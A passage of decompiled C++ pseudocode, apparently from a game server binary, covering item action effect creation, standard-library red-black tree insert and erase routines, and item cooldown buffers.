effectData->EffectID); ShineExit("::MakeEffect"); } switch ( effectData->EffectActivity ) { case 0: result = (IActEffect *)operator new(8u); if ( !result ) goto LABEL_18; result->_effectData = effectData; result->vfptr = (IActEffectVtbl *)&AttackTypeEffect::_vftable_; return result; case 1: result = (IActEffect *)operator new(8u); if ( !result ) goto LABEL_18; result->_effectData = effectData; result->vfptr = (IActEffectVtbl *)&RecoverTypeEffect::_vftable_; return result; case 2: result = (IActEffect *)operator new(8u); if ( !result ) goto LABEL_18; result->_effectData = effectData; result->vfptr = (IActEffectVtbl *)&AbStateTypeEffect::_vftable_; return result; case 3: result = (IActEffect *)operator new(8u); if ( !result ) goto LABEL_18; result->_effectData = effectData; result->vfptr = (IActEffectVtbl *)&DispelAttrTypeEffect::_vftable_; return result; case 5: result = (IActEffect *)operator new(8u); if ( !result ) goto LABEL_18; result->_effectData = effectData; result->vfptr = (IActEffectVtbl *)&ActionImpowerTypeEffect::_vftable_; return result; case 8: v3 = effectData->EffectID; v2 = "ActionETCType Effect is exist yet"; break; case 9: result = (IActEffect *)operator new(8u); if ( result ) { result->_effectData = effectData; result->vfptr = (IActEffectVtbl *)&ActionEffectTypeEffect::_vftable_; } else { LABEL_18: result = 0; } return result; default: v3 = effectData->EffectID; v2 = "Unexpected condition type"; break; } AssertClass::ac_AssertFail(&shineassert, v2, v3); ShineExit("::MakeEffect"); return result; } // 67E78C: using guessed type int (__thiscall *AttackTypeEffect___vftable_)(void *p, char); // 67E7A8: using guessed type int (__thiscall *RecoverTypeEffect___vftable_)(void *p, char); // 67E7C4: using guessed type int (__thiscall *AbStateTypeEffect___vftable_)(void *p, char); // 67E7E0: using guessed type int (__thiscall *DispelAttrTypeEffect___vftable_)(void *p, char); // 67E7FC: using guessed type int (__thiscall *ActionImpowerTypeEffect___vftable_)(void *p, char); // 67E844: using guessed type int (__thiscall *ActionEffectTypeEffect___vftable_)(void *p, char); //----- (00598480) -------------------------------------------------------- void *__thiscall IAxialListNearExecution::_vector_deleting_destructor_(AxialListNearExecution_MyRaid *this, unsigned int a2) { void *v2; // esi@1 v2 = this; AxialListNearExecution_All::_AxialListNearExecution_All((AxialListNearExecution_All *)this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (005984A0) -------------------------------------------------------- #error "5984A0: undefined or illegal type '#593' (funcsize=252)" //----- (00598870) -------------------------------------------------------- #error "598870: undefined or illegal type '#593' (funcsize=66)" //----- (00598940) -------------------------------------------------------- void *__thiscall DispelAttrTypeEffect::_vector_deleting_destructor_(ActionEffectTypeEffect *this, unsigned int a2) { void *v2; // esi@1 v2 = this; AbStateTypeEffect::_AbStateTypeEffect(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00598960) -------------------------------------------------------- void __thiscall AbStateTypeEffect::_AbStateTypeEffect(ActionEffectTypeEffect *this) { this->baseclass_0.vfptr = (IActEffectVtbl *)&IActEffect::_vftable_; } // 67E764: using guessed type int (__thiscall *IActEffect___vftable_)(void *p, char); //----- (00598970) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator>_0>>::_Erase(std::_Tree,std::allocator >,0> > *this, std::_Tree_nod,std::allocator >,0> >::_Node *_Rootnode) { void *v2; // edi@1 std::_Tree,std::allocator >,0> > *v3; // ebx@1 std::_Tree_nod,std::allocator >,0> >::_Node *i; // esi@1 v2 = _Rootnode; v3 = this; for ( i = _Rootnode; !i->_Isnil; v2 = i ) { std::_Tree_std::allocator>_0>>::_Erase( v3, i->_Right); i = i->_Left; operator delete(v2); } } //----- (005989B0) -------------------------------------------------------- IActEffect *__cdecl ItemActionEffects::getEffect(unsigned __int16 index) { std::_Tree_nod,std::allocator >,0> >::_Node *v1; // ecx@0 IActEffect *v2; // eax@2 std::_Tree_nod,std::allocator >,0> >::_Node *result; // [sp+0h] [bp-4h]@1 result = v1; std::_Tree_std::allocator>_0>>::find( &ItemActionEffects::_effects, (std::_Tree,std::allocator >,0> >::iterator *)&result, &index); if ( result == ItemActionEffects::_effects._Myhead ) { AssertClass::ac_AssertFail(&shineassert, "Cannot find ItemActionEffect", index); v2 = 0; } else { v2 = (IActEffect *)result->_Myval.second; } return v2; } //----- (00598A00) -------------------------------------------------------- std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::_Insert(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator >,0> >::_Node *_Wherenode, std::pair *_Val) { std::_Tree,std::allocator >,0> > *v5; // edi@1 std::_Tree_nod,std::allocator >,0> >::_Node *v6; // ecx@4 std::_Tree_nod,std::allocator >,0> >::_Node *v7; // eax@4 std::_Tree_nod,std::allocator >,0> >::_Node *v8; // eax@7 std::_Tree_nod,std::allocator >,0> >::_Node *v9; // eax@9 int v10; // eax@11 std::_Tree_nod,std::allocator >,0> >::_Node *v11; // esi@11 int v12; // ecx@12 int v13; // ebp@12 int v14; // edx@12 std::_Tree,std::allocator >,0> >::iterator *v15; // eax@24 std::basic_string,std::allocator > thisa; // [sp+8h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+24h] [bp-34h]@2 int v18; // [sp+54h] [bp-4h]@2 std::_Tree_nod,std::allocator >,0> >::_Node *_Vala; // [sp+68h] [bp+10h]@4 v5 = this; if ( this->_Mysize >= 0x1FFFFFFE ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "map/set too long", 0x13u); v18 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } v6 = std::_Tree_std::allocator>_1>>::_Buynode( (std::_Tree,std::allocator >,0> > *)this, (std::_Tree_nod,std::allocator >,0> >::_Node *)this->_Myhead, (std::_Tree_nod,std::allocator >,0> >::_Node *)_Wherenode, (std::_Tree_nod,std::allocator >,0> >::_Node *)this->_Myhead, (std::pair *)_Val, 0); v7 = v5->_Myhead; _Vala = v6; ++v5->_Mysize; if ( _Wherenode == v7 ) { v7->_Parent = (std::_Tree_nod,std::allocator >,0> >::_Node *)v6; v5->_Myhead->_Left = (std::_Tree_nod,std::allocator >,0> >::_Node *)v6; v5->_Myhead->_Right = (std::_Tree_nod,std::allocator >,0> >::_Node *)v6; } else { if ( _Addleft ) { _Wherenode->_Left = (std::_Tree_nod,std::allocator >,0> >::_Node *)v6; v8 = v5->_Myhead; if ( _Wherenode == v8->_Left ) v8->_Left = (std::_Tree_nod,std::allocator >,0> >::_Node *)v6; } else { _Wherenode->_Right = (std::_Tree_nod,std::allocator >,0> >::_Node *)v6; v9 = v5->_Myhead; if ( _Wherenode == v9->_Right ) v9->_Right = (std::_Tree_nod,std::allocator >,0> >::_Node *)v6; } } v10 = (int)&v6->_Parent; v11 = v6; if ( !v6->_Parent->_Color ) { while ( 1 ) { v12 = *(_DWORD *)v10; v13 = *(_DWORD *)(*(_DWORD *)v10 + 4); v14 = *(_DWORD *)v13; if ( *(_DWORD *)v10 == *(_DWORD *)v13 ) { v14 = *(_DWORD *)(v13 + 8); if ( *(_BYTE *)(v14 + 20) ) { if ( v11 == *(std::_Tree_nod,std::allocator >,0> >::_Node **)(v12 + 8) ) { v11 = *(std::_Tree_nod,std::allocator >,0> >::_Node **)v10; std::_Tree_std::allocator>_1>>::_Lrotate( (std::_Tree,std::allocator >,0> > *)v5, *(std::_Tree_nod,std::allocator >,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator>_1>>::_Rrotate( (std::_Tree,std::allocator >,0> > *)v5, v11->_Parent->_Parent); goto LABEL_22; } } else { if ( *(_BYTE *)(v14 + 20) ) { if ( v11 == *(std::_Tree_nod,std::allocator >,0> >::_Node **)v12 ) { v11 = *(std::_Tree_nod,std::allocator >,0> >::_Node **)v10; std::_Tree_std::allocator>_1>>::_Rrotate( (std::_Tree,std::allocator >,0> > *)v5, *(std::_Tree_nod,std::allocator >,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator>_1>>::_Lrotate( (std::_Tree,std::allocator >,0> > *)v5, v11->_Parent->_Parent); goto LABEL_22; } } *(_BYTE *)(*(_DWORD *)v10 + 20) = 1; *(_BYTE *)(v14 + 20) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)v10 + 4) + 20) = 0; v11 = *(std::_Tree_nod,std::allocator >,0> >::_Node **)(*(_DWORD *)v10 + 4); LABEL_22: v10 = (int)&v11->_Parent; if ( v11->_Parent->_Color ) { v6 = _Vala; break; } } } v15 = result; v5->_Myhead->_Parent->_Color = 1; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; return v15; } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00598BB0) -------------------------------------------------------- std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::erase(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, std::_Tree,std::allocator >,0> >::iterator _Where) { std::_Tree,std::allocator >,0> > *v3; // ebp@1 std::_Tree,std::allocator >,0> >::iterator v4; // ebx@4 std::_Tree,std::allocator >,0> >::iterator v5; // edi@5 std::_Tree,std::allocator >,0> >::iterator v6; // ecx@8 std::_Tree,std::allocator >,0> >::iterator v7; // esi@9 std::_Tree_nod,std::allocator >,0> >::_Node *v8; // eax@11 std::_Tree_nod,std::allocator >,0> >::_Node *v9; // ebx@16 std::_Tree_nod,std::allocator >,0> >::_Node *v10; // eax@18 std::_Tree_nod,std::allocator >,0> >::_Node *v11; // ebx@21 std::_Tree_nod,std::allocator >,0> >::_Node *v12; // eax@30 int v13; // eax@32 char v14; // al@35 int v15; // eax@39 bool v16; // zf@54 unsigned int v17; // eax@60 std::_Tree,std::allocator >,0> >::iterator *v18; // eax@62 std::_Tree,std::allocator >,0> >::iterator _Erasednode; // [sp+8h] [bp-54h]@4 std::basic_string,std::allocator > thisa; // [sp+Ch] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+28h] [bp-34h]@2 int v22; // [sp+58h] [bp-4h]@2 v3 = this; if ( *(_BYTE *)(*(_DWORD *)&_Where + 21) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid map/set iterator", 0x1Bu); v22 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } v4 = _Where; _Erasednode = _Where; std::_Tree_std::allocator>_0>>::const_iterator::_Inc((std::_Tree,std::allocator >,0> >::const_iterator *)&_Where); if ( *(_BYTE *)(**(_DWORD **)&v4 + 21) ) { v5 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v4 + 8); LABEL_9: v7 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v4 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 21) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; v8 = v3->_Myhead; if ( v8->_Parent == (std::_Tree_nod,std::allocator >,0> >::_Node *)v4 ) { v8->_Parent = (std::_Tree_nod,std::allocator >,0> >::_Node *)v5; } else { if ( **(_DWORD **)&v7 == v4 ) **(_DWORD **)&v7 = v5; else *(_DWORD *)(*(_DWORD *)&v7 + 8) = v5; } v9 = v3->_Myhead; if ( v9->_Left == (std::_Tree_nod,std::allocator >,0> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 21) ) v10 = (std::_Tree_nod,std::allocator >,0> >::_Node *)v7; else v10 = std::_Tree_std::allocator>_1>>::_Min(*(std::_Tree_nod,std::allocator >,0> >::_Node **)&v5); v9->_Left = (std::_Tree_nod,std::allocator >,0> >::_Node *)v10; } v11 = v3->_Myhead; if ( v11->_Right == (std::_Tree_nod,std::allocator >,0> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 21) ) v11->_Right = (std::_Tree_nod,std::allocator >,0> >::_Node *)v7; else v11->_Right = (std::_Tree_nod,std::allocator >,0> >::_Node *)std::_Tree_std::allocator>_1>>::_Max(*(std::_Tree_nod,std::allocator >,0> >::_Node **)&v5); } goto LABEL_36; } if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 21) ) { v5 = (std::_Tree,std::allocator >,0> >::iterator)**(_DWORD **)&v4; goto LABEL_9; } v6 = _Where; v5 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&_Where + 8); if ( _Where == v4 ) goto LABEL_9; *(_DWORD *)(**(_DWORD **)&v4 + 4) = _Where; **(_DWORD **)&v6 = **(_DWORD **)&v4; if ( v6 == *(_DWORD *)(*(_DWORD *)&v4 + 8) ) { v7 = v6; } else { v7 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v6 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 21) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; **(_DWORD **)&v7 = v5; *(_DWORD *)(*(_DWORD *)&v6 + 8) = *(_DWORD *)(*(_DWORD *)&v4 + 8); *(_DWORD *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 4) = v6; } v12 = v3->_Myhead; if ( v12->_Parent == (std::_Tree_nod,std::allocator >,0> >::_Node *)v4 ) { v12->_Parent = (std::_Tree_nod,std::allocator >,0> >::_Node *)v6; } else { v13 = *(_DWORD *)(*(_DWORD *)&v4 + 4); if ( *(_DWORD *)v13 == v4 ) *(_DWORD *)v13 = v6; else *(_DWORD *)(v13 + 8) = v6; } *(_DWORD *)(*(_DWORD *)&v6 + 4) = *(_DWORD *)(*(_DWORD *)&v4 + 4); v14 = *(_BYTE *)(*(_DWORD *)&v6 + 20); *(_BYTE *)(*(_DWORD *)&v6 + 20) = *(_BYTE *)(*(_DWORD *)&v4 + 20); *(_BYTE *)(*(_DWORD *)&v4 + 20) = v14; LABEL_36: if ( *(_BYTE *)(*(_DWORD *)&_Erasednode + 20) == 1 ) { if ( (std::_Tree_nod,std::allocator >,0> >::_Node *)v5 != v3->_Myhead->_Parent ) { do { if ( *(_BYTE *)(*(_DWORD *)&v5 + 20) != 1 ) break; v15 = **(_DWORD **)&v7; if ( v5 == **(_DWORD **)&v7 ) { v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); if ( !*(_BYTE *)(v15 + 20) ) { *(_BYTE *)(v15 + 20) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 20) = 0; std::_Tree_std::allocator>_1>>::_Lrotate( (std::_Tree,std::allocator >,0> > *)v3, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&v7); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } if ( *(_BYTE *)(v15 + 21) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)v15 + 20) != 1 || *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) == 1 ) { *(_BYTE *)(*(_DWORD *)v15 + 20) = 1; *(_BYTE *)(v15 + 20) = 0; std::_Tree_std::allocator>_1>>::_Rrotate( (std::_Tree,std::allocator >,0> > *)v3, (std::_Tree_nod,std::allocator >,0> >::_Node *)v15); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } *(_BYTE *)(v15 + 20) = *(_BYTE *)(*(_DWORD *)&v7 + 20); *(_BYTE *)(*(_DWORD *)&v7 + 20) = 1; *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) = 1; std::_Tree_std::allocator>_1>>::_Lrotate( (std::_Tree,std::allocator >,0> > *)v3, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&v7); break; } } else { if ( !*(_BYTE *)(v15 + 20) ) { *(_BYTE *)(v15 + 20) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 20) = 0; std::_Tree_std::allocator>_1>>::_Rrotate( (std::_Tree,std::allocator >,0> > *)v3, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&v7); v15 = **(_DWORD **)&v7; } if ( *(_BYTE *)(v15 + 21) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) != 1 || *(_BYTE *)(*(_DWORD *)v15 + 20) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)v15 + 20) == 1 ) { *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) = 1; *(_BYTE *)(v15 + 20) = 0; std::_Tree_std::allocator>_1>>::_Lrotate( (std::_Tree,std::allocator >,0> > *)v3, (std::_Tree_nod,std::allocator >,0> >::_Node *)v15); v15 = **(_DWORD **)&v7; } *(_BYTE *)(v15 + 20) = *(_BYTE *)(*(_DWORD *)&v7 + 20); *(_BYTE *)(*(_DWORD *)&v7 + 20) = 1; *(_BYTE *)(*(_DWORD *)v15 + 20) = 1; std::_Tree_std::allocator>_1>>::_Rrotate( (std::_Tree,std::allocator >,0> > *)v3, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&v7); break; } } *(_BYTE *)(v15 + 20) = 0; LABEL_54: v5 = v7; v16 = (std::_Tree_nod,std::allocator >,0> >::_Node *)v7 == v3->_Myhead->_Parent; v7 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v7 + 4); } while ( !v16 ); } *(_BYTE *)(*(_DWORD *)&v5 + 20) = 1; } operator delete(*(void **)&_Erasednode); v17 = v3->_Mysize; if ( v17 ) v3->_Mysize = v17 - 1; v18 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Where; return v18; } // 689C04: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (00598E70) -------------------------------------------------------- std::pair,std::allocator >,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator>_0>>::insert(std::_Tree,std::allocator >,0> > *this, std::pair,std::allocator >,0> >::iterator,bool> *result, std::pair *_Val) { std::pair *v3; // ebp@1 std::_Tree,std::allocator >,0> > *v4; // edi@1 std::_Tree_nod,std::allocator >,0> >::_Node *v5; // esi@1 std::_Tree_nod,std::allocator >,0> >::_Node *v6; // eax@1 bool v7; // cl@1 const unsigned __int16 v8; // dx@2 std::pair *v9; // edx@7 int v10; // edx@9 std::pair,std::allocator >,0> >::iterator,bool> *v11; // eax@9 int v12; // ecx@12 char _Addleft; // [sp+Ch] [bp-4h]@1 v3 = _Val; v4 = this; v5 = this->_Myhead; v6 = v5->_Parent; v7 = 1; _Addleft = 1; if ( !v6->_Isnil ) { v8 = _Val->first; do { v5 = v6; v7 = v8 < v6->_Myval.first; _Addleft = v8 < v6->_Myval.first; if ( v8 >= v6->_Myval.first ) v6 = v6->_Right; else v6 = v6->_Left; } while ( !v6->_Isnil ); } v9 = (std::pair *)v5; _Val = (std::pair *)v5; if ( v7 ) { if ( v5 == v4->_Myhead->_Left ) { v10 = *(_DWORD *)&std::_Tree_std::allocator>_0>>::_Insert( v4, (std::_Tree,std::allocator >,0> >::iterator *)&_Val, 1, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; result->second = 1; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v10; return v11; } std::_Tree_std::allocator>_0>>::const_iterator::_Dec((std::_Tree,std::allocator >,0> >::const_iterator *)&_Val); v9 = _Val; } if ( LOWORD(v9[1].second) >= v3->first ) { v11 = result; result->second = 0; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v9; } else { v12 = *(_DWORD *)&std::_Tree_std::allocator>_0>>::_Insert( v4, (std::_Tree,std::allocator >,0> >::iterator *)&_Val, _Addleft, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v12; result->second = 1; } return v11; } //----- (00598F30) -------------------------------------------------------- std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::erase(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, std::_Tree,std::allocator >,0> >::iterator _First, std::_Tree,std::allocator >,0> >::iterator _Last) { std::_Tree,std::allocator >,0> >::iterator v4; // ebx@1 std::_Tree,std::allocator >,0> >::iterator v5; // esi@1 std::_Tree,std::allocator >,0> > *v6; // edi@1 std::_Tree_nod,std::allocator >,0> >::_Node *v7; // eax@1 std::_Tree_nod,std::allocator >,0> >::_Node *v8; // eax@3 std::_Tree,std::allocator >,0> >::iterator *v9; // eax@3 std::_Tree,std::allocator >,0> >::iterator v10; // ecx@5 int v11; // eax@6 std::_Tree,std::allocator >,0> >::iterator j; // eax@7 std::_Tree,std::allocator >,0> >::iterator i; // eax@10 v4 = _Last; v5 = _First; v6 = this; v7 = this->_Myhead; if ( (std::_Tree_nod,std::allocator >,0> >::_Node *)_First != v7->_Left || (std::_Tree_nod,std::allocator >,0> >::_Node *)_Last != v7 ) { if ( _First != _Last ) { do { v10 = v5; if ( !*(_BYTE *)(*(_DWORD *)&v5 + 21) ) { v11 = *(_DWORD *)(*(_DWORD *)&v5 + 8); if ( *(_BYTE *)(v11 + 21) ) { for ( i = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v5 + 4); !*(_BYTE *)(*(_DWORD *)&i + 21); i = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&i + 4) ) { if ( v5 != *(_DWORD *)(*(_DWORD *)&i + 8) ) break; v5 = i; } v5 = i; } else { v5 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v5 + 8); for ( j = *(std::_Tree,std::allocator >,0> >::iterator *)v11; !*(_BYTE *)(*(_DWORD *)&j + 21); j = (std::_Tree,std::allocator >,0> >::iterator)**(_DWORD **)&j ) v5 = j; } } std::_Tree_std::allocator>_0>>::erase( v6, &_First, v10); } while ( v5 != v4 ); } v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; } else { std::_Tree_std::allocator>_0>>::_Erase( this, v7->_Parent); v6->_Myhead->_Parent = v6->_Myhead; v8 = v6->_Myhead; v6->_Mysize = 0; v8->_Left = v8; v6->_Myhead->_Right = v6->_Myhead; v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6->_Myhead->_Left; } return v9; } //----- (00598FF0) -------------------------------------------------------- bool __thiscall ItemActionEffects::DataProcess(ItemActionEffects *this) { unsigned int i; // edi@1 int v2; // eax@2 void *v3; // eax@4 int *v4; // esi@4 IActEffect *v5; // eax@4 const unsigned __int16 v6; // cx@4 std::pair,std::allocator >,0> >::iterator,bool> *v7; // eax@4 int v8; // edx@4 std::pair _Val; // [sp+8h] [bp-18h]@4 std::pair,std::allocator >,0> >::iterator,bool> result; // [sp+10h] [bp-10h]@4 std::pair,std::allocator >,0> >::iterator,bool> ret; // [sp+18h] [bp-8h]@4 for ( i = 0; ; ++i ) { v2 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v2 ) break; if ( i >= *(_DWORD *)(v2 + 40) ) break; v3 = CDataReader::GetRecord((CDataReader *)(ITableBase::ms_pkTable + 4), i); v4 = (int *)v3; v5 = MakeEffect((ItemActionEffect *)v3); v6 = *(_WORD *)v4; _Val.second = v5; _Val.first = v6; v7 = std::_Tree_std::allocator>_0>>::insert( (std::_Tree,std::allocator >,0> > *)&ItemActionEffects::_effects, &result, &_Val); v8 = (unsigned __int8)*(_DWORD *)&v7->second == 1; *(_DWORD *)&ret.first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = *(_DWORD *)&v7->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; if ( !v8 ) { AssertClass::ac_AssertFail(&shineassert, "ItemActionEffect ID Conflict", *(_WORD *)v4); ShineExit("ItemActionEffects::DataProcess"); } } return 1; } // 131DB488: using guessed type int ITableBase_ItemActionEffect_ItemActionEffects___ms_pkTable; //----- (00599090) -------------------------------------------------------- void __thiscall std::map_std::allocator>>::_map_std::allocator>>(std::map,std::allocator > > *this) { std::map,std::allocator > > *v1; // esi@1 std::_Tree,std::allocator >,0> >::iterator result; // [sp+0h] [bp-4h]@1 result = (std::_Tree,std::allocator >,0> >::iterator)this; v1 = this; std::_Tree_std::allocator>_0>>::erase( &this->baseclass_0, &result, (std::_Tree,std::allocator >,0> >::iterator)this->baseclass_0._Myhead->_Left, (std::_Tree,std::allocator >,0> >::iterator)this->baseclass_0._Myhead); operator delete(v1->baseclass_0._Myhead); v1->baseclass_0._Myhead = 0; v1->baseclass_0._Mysize = 0; } //----- (005990D0) -------------------------------------------------------- void __thiscall ItemActionObserve::_ItemActionObserve(ItemActionObserve *this) { this->vfptr = (ItemActionObserveVtbl *)&ItemActionObserve::_vftable_; } // 67E93C: using guessed type int (__thiscall *ItemActionObserve___vftable_)(void *p, char); //----- (005990E0) -------------------------------------------------------- void __thiscall ItemActionObserve::Attach(ItemActionObserve *this, Action *pAction, unsigned __int16 ActionID, unsigned __int16 itemid) { ItemActionObserve *v4; // esi@1 ItemDataBox::ItemDataBoxIndex *v5; // eax@1 v4 = this; this->iao_pAction = pAction; this->iao_ActionID = ActionID; this->iao_itemid = itemid; this->iao_IsEnchant = 0; v5 = ItemDataBox::operator__(&itemdatabox, itemid); if ( v5 ) { if ( v5->data->Class == 30 ) v4->iao_IsEnchant = 1; } } //----- (00599120) -------------------------------------------------------- #error "599120: undefined or illegal type '#593' (funcsize=3)" //----- (00599130) -------------------------------------------------------- unsigned int __thiscall std::vector>::size(std::vector > *this) { unsigned int result; // eax@1 result = (unsigned int)this->_Myfirst; if ( result ) result = (signed int)((char *)this->_Mylast - result) / 24; return result; } //----- (00599150) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)ItemActionObserveBuffer::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 67E9D8: using guessed type int (__stdcall *ItemActionObserveBuffer___vftable_[3])(__int16 hnd); //----- (00599170) -------------------------------------------------------- void __cdecl std::fill(ItemActionObserveManager::GroupCoolTime *_First, ItemActionObserveManager::GroupCoolTime *_Last, ItemActionObserveManager::GroupCoolTime *_Val) { ItemActionObserveManager::GroupCoolTime *i; // eax@1 ItemActionObserveManager::GroupCoolTime *v4; // edi@2 for ( i = _First; i != _Last; v4->LastCheckTime = _Val->LastCheckTime ) { v4 = i; i->CoolTimer.m_CurDelayTime = _Val->CoolTimer.m_CurDelayTime; i->CoolTimer.m_DelayTime = _Val->CoolTimer.m_DelayTime; *(_DWORD *)&i->CoolTimer.m_bEnable = *(_DWORD *)&_Val->CoolTimer.m_bEnable; i->ActionGroupID = _Val->ActionGroupID; i->ActionID = _Val->ActionID; ++i; } } //----- (005991C0) -------------------------------------------------------- ItemActionObserveManager::GroupCoolTime *__cdecl std::_Copy_opt(ItemActionObserveManager::GroupCoolTime *_First, ItemActionObserveManager::GroupCoolTime *_Last, ItemActionObserveManager::GroupCoolTime *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { ItemActionObserveManager::GroupCoolTime *v4; // ecx@1 ItemActionObserveManager::GroupCoolTime *result; // eax@1 ItemActionObserveManager::GroupCoolTime *v6; // edi@2 unsigned int v7; // esi@2 v4 = _First; for ( result = _Dest; v4 != _Last; v6->LastCheckTime = v7 ) { v6 = result; result->CoolTimer.m_CurDelayTime = v4->CoolTimer.m_CurDelayTime; result->CoolTimer.m_DelayTime = v4->CoolTimer.m_DelayTime; *(_DWORD *)&result->CoolTimer.m_bEnable = *(_DWORD *)&v4->CoolTimer.m_bEnable; result->ActionGroupID = v4->ActionGroupID; result->ActionID = v4->ActionID; v7 = v4->LastCheckTime; ++v4; ++result; } return result; } //----- (00599210) -------------------------------------------------------- ItemActionObserveManager::GroupCoolTime *__cdecl std::_Copy_backward_opt(ItemActionObserveManager::GroupCoolTime *_First, ItemActionObserveManager::GroupCoolTime *_Last, ItemActionObserveManager::GroupCoolTime *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { ItemActionObserveManager::GroupCoolTime *v4; // ecx@1 ItemActionObserveManager::GroupCoolTime *result; // eax@1 v4 = _Last; for ( result = _Dest; v4 != _First; result->LastCheckTime = v4->LastCheckTime ) { --v4; --result; result->CoolTimer.m_CurDelayTime = v4->CoolTimer.m_CurDelayTime; result->CoolTimer.m_DelayTime = v4->CoolTimer.m_DelayTime; *(_DWORD *)&result->CoolTimer.m_bEnable = *(_DWORD *)&v4->CoolTimer.m_bEnable; result->ActionGroupID = v4->ActionGroupID; result->ActionID = v4->ActionID; } return result; } //----- (00599260) -------------------------------------------------------- void *__thiscall ItemActionObserve::_scalar_deleting_destructor_(ItemActionObserve *this, unsigned int a2) { void *v2; // esi@1 v2 = this; this->vfptr = (ItemActionObserveVtbl *)&ItemActionObserve::_vftable_; if ( a2 & 1 ) operator delete(this); return v2; } // 67E93C: using guessed type int (__thiscall *ItemActionObserve___vftable_)(void *p, char); //----- (00599280) -------------------------------------------------------- void __thiscall ItemActionObserveBuffer::_ItemActionObserveBuffer(ItemActionObserveBuffer *this) { ItemActionObserveBuffer *v1; // esi@1 void *v2; // esi@1 v1 = this; _eh_vector_destructor_iterator_( this->iaob_buffer, 0x14u, 5000, (void (__thiscall *)(void *))ItemActionObserve::_ItemActionObserve); 